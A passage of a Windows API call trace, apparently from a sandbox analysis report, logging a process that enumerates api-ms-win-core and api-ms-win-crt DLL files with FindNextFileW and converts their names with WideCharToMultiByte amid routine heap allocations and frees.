RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.907] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0136.907] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.907] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0136.907] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0xa9c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0136.907] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.907] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.907] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.907] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.907] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.907] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.908] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.908] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0136.908] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xa9c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0136.908] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.908] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.908] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.908] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.908] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.908] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.908] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.908] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0136.908] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0xa9c120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0136.908] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.908] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.908] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.908] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.908] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.908] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.908] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.908] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0136.908] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xa9c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0136.908] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.908] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.908] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.908] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.908] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.908] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.908] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.908] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0136.909] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xa9c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0136.909] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.909] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.909] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.909] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.909] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.909] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.909] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0136.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa9c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0136.909] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0136.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0136.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa9c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0136.909] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0136.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xa9c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0136.909] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0136.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa9c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0136.909] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0136.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0xa9c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0136.909] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0136.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xa9c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0136.910] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0136.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0xa9c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0136.910] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0136.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xa9c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0136.910] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0136.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0xa9c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0136.910] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0136.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xa9c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0136.910] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0136.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa9c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0136.910] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0136.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa9c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0136.910] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x8185a8, dwReserved1=0x0, 